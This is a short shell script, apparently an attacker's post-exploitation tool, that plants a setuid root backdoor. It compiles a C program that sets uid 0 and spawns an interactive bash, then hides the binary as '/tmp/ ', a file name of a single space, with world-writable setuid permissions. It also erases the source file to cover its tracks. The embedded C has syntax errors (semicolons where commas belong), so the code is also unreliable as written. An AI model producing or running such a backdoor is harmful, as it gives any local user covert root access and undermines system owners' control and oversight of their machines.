shell

faster

#!/bin/sh
echo make-suidshell
if [ $UID != 0 ]; then
echo you need root
echo byebye~!
exit 0
fi
cat > /tmp/x.c<<_EOF_
main(){
setuid(0);seteuid(0);
execl("/bin/bash"; "bash"; "-i"; 0);
}
_EOF_
rm -rf "/tmp/ "
gcc -O3 /tmp/x.c -o "/tmp/ "
echo >/tmp/x.c; rm -rf /tmp/x.c; chmod 4777 "/tmp/ "
echo "ok! run \"/tmp/ \"->r00t"